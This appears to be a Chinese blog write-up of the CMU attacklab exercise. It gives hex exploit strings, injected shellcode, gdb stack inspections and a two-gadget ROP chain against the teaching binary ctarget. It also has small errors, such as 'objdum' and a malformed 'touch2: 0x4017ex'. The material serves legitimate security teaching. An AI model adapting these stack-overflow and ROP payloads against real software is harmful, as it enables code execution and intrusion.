0%

缓冲区溢出漏洞攻击实验

缓冲区溢出漏洞攻击实验

该实验的内容主要为利用一个缓冲区溢出漏洞,来修改一个二进制可执行文件的运行时行为,将栈中调用函数的返回地址修改成另一个函数的起始地址来执行自己的代码。

预备知识:

有如下函数:

1
2
3
4
5
6
void echo()
{
char buf[18];
gets(buf);
puts(buf);
}

当调用者函数调用echo()时,栈中的内容如下:

地址 内容
%rsp + 0x2c caller函数的栈帧
%rsp + 0x24 Return Address
……
%rsp + 0x08 未使用的栈区
buf = %rsp [0][1][2][3][4][5][6][7]

由于Gets()函数不检查输入字符串的长度,因此可以输入任意长度的字符串,最后覆盖%rsp + 0x24 处的返回地址,进而修改可执行文件的运行行为。如果Return Address的值为某个函数的起始地址,就可以执行自己的代码。

第一关

将Gets函数的返回地址从getbuf()函数改为touch1()函数。
执行Gets()时的内存地址:

地址 内容
%rsp + 0x28 getbuf
%rsp + 0x20
%rsp + 0x18
%rsp + 0x10
%rsp + 0x08
%rsp + 0x00

要将%rsp + 0x28处的地址从getbuf改为touch1的地址。
现通过反汇编,通过汇编程序查看touch1的地址:

1
objdum -d -x ./ctarget > ctarget.asm

发现为0x00000000004017c0,因此写入的字符串可以是:

1
2
3
4
5
6
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

只用保证0x28偏移处的值依次为0xc0、0x17、0x40即可。
运行结果:

1
2
3
4
5
6
7
8
9
./hex2raw < ans1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00

第二关

将Gets函数的返回地址从getbuf()函数改为touch2()函数,并且touch2()函数的参数为cookie值,保存在%rsp中。
这道题需要自己写一段代码,Gets()函数获取的字符串包含需要执行的代码。首先,执行Gets()时的内存地址:

地址 内容
%rsp + 0x28 getbuf
%rsp + 0x20
%rsp + 0x18
%rsp + 0x10
%rsp + 0x08
%rsp + 0x00

我们希望将%rsp + 0x28处的getbuf地址改为%rsp,使用gdb查看此刻%rsp的值。getbuf函数如下:

1
2
3
4
5
6
7
8
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq

需要在0x4017b9设置断点:

1
2
3
4
5
6
7
8
linux> gdb ./ctarget
(gdb) b *0x4017b9
...
(gdb) run -q
...
Breakpoint 1, 0x00000000004017b9 in getbuf () at buf.c:16
(gdb) p/x $rsp
$1 = 0x5561dc78

因此%rsp的值为0x5561dc78,需要将getbuf地址改成这个值,防止返回getbuf()函数,然后从%rsp指向地址处的代码功能为:先将cookie的值0x59b997fa存入%rdi寄存器,然后跳转到touch2函数处,跳转可以用push $addr + retq两条指令实现,代码应写成:

1
2
3
mov $0x59b997fa, %rdi
pushq $0x4017ec
retq

栈帧中的内容:

栈帧 地址
0x5561dc78 0x5561dca0
ret
pushq $0x4017ec
mov $0x59b997fa, %rdi 0x5561dc78

将上述代码翻译成二进制代码:

1
2
3
4
5
6
7
linux> gcc -c ans2.s -o ans2.o
linux> objdump -d ans2.o
...
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq

因此答案为:

1
2
3
4
5
6
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

运行结果:

1
2
3
4
5
6
7
8
9
linux> ./hex2raw < ans2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

第三关

在第二题基础上,返回地址从getbuf()函数改为touch3()函数,并且touch3()函数调用的hexmatch()函数返回正确的值,写入的内容除了上一题的mov、push和ret三条指令外,还需要向内存写入字符串,进入hexmatch()函数前将%rdi的值指向字符串。
执行到touch3()函数时,栈帧如下:

1
2
3
4
5
6
7
(gdb) p/x $rsp
$1 = 0x5561dca8
(gdb) x/16 $rsp - 0x30
0x5561dc78: 0xa8c7c748 0x685561dc 0x004018fa 0x000000c3
0x5561dc88: 0x00000000 0x00000000 0x00000000 0x00000000
0x5561dc98: 0x00000000 0x00000000 0x004018fa 0x00000000
0x5561dca8: 0x39623935 0x61663739 0x00000000 0x00000000
地址 内容
0x..dca0 touch3首地址
0x..dc98
0x..dc90
0x..dc88
0x..dc80 push & ret
0x..dc78 mov

执行hexmatch时,栈帧如下所示:

1
2
3
4
5
6
7
8
(gdb) p/x $rsp
$4 = 0x5561dc98
(gdb) x/20 $rsp - 0x30
0x5561dc68: 0x00000002 0x00000000 0x004017b4 0x00000000
0x5561dc78: 0xa8c7c748 0x685561dc 0x004018fa 0x000000c3
0x5561dc88: 0x00000000 0x00000000 0x00000000 0x00000000
0x5561dc98: 0x00401916 0x00000000 0x55586000 0x00000000
0x5561dca8: 0x39623935 0x61663739 0x00000000 0x00000000
地址 内容 栈指针
0x..dca0 0x….
0x..dc98 touch3返回地址 <-%rsp
0x..dc90
0x..dc88
0x..dc80 push & ret
0x..dc78 mov

由于执行hexmatch函数时,栈区会管理临时变量,因此字符串的内容不能写在0x..dca0以下的地方,否则会被hexmatch函数的临时变量覆盖掉,因此,可以写在test()的栈帧里,也就是0x5561dca8处,因此第三题写入的内容可以是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00

/* cookie: 0x59b997fa */
/* touch3(): 0x4018fa */
/*
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
*/

第四关

这一关是Return Oriented Programming (ROP)攻击,在ROP攻击中设置了栈随机化,所以不能像前面三个实验一样在确定的地址处插入代码。为了实现攻击,我们要在已经给定的代码中找到特定的指令序列,这些序列以ret结尾,我们把这些命令叫做gadget。

每一段gadget包含一系列指令字节,而且以ret结尾,跳转到下一个gadget,就这样连续的执行一系列的指令代码,对程序造成攻击。譬如给的示例:

1
2
3
4
void setval_210(unsigned *p)
{
*p = 3347663060U;
}

反汇编后得到它的指令字节编码:

1
2
3
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

这样我们就可以利用已经存在的程序,从中间提取出特殊的指令,得到一个gadget,每一段gadget包含一系列指令字节,而且以ret结尾,跳转到下一个gadget,就这样连续的执行一系列的指令代码。

为了让函数跳转到touch2()并且%rdi的值为cookie值,并且题目说需要使用到popq指令以及两个gadgets,因此推测这两个gadgets可能将栈里面写入的cookie值弹出到寄存器里面,再通过retq指令弹出栈里面的下一个gadget的地址,然后跳转到下一个gadget执行寄存器传送操作,再执行retq指令将栈里面的touch2()地址弹出,跳转到touch2()函数处执行。
题目说了gadget的范围在start_farm和mid_farm之间,观察他们之间的farm,可以看到下面两个gadget可以构成如上的功能:

1
2
3
4
5
6
7
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax // mov %rax, %rdi; retq
4019a6: c3 retq

00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax // popq %rax; nop; retq
4019ad: c3 retq

先执行第二个gadget,再跳转到第一个gadget执行,然后执行touch2()函数。因此执行Gets()函数时,栈帧中的内容如下所示:

栈帧内容
touch2: 0x4017ex
第1个gadget地址: 0x4019a2
cookie: 0x59b997fa
第2个gadget地址: 0x4019ab
输入字符串的起始地址

答案为:

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00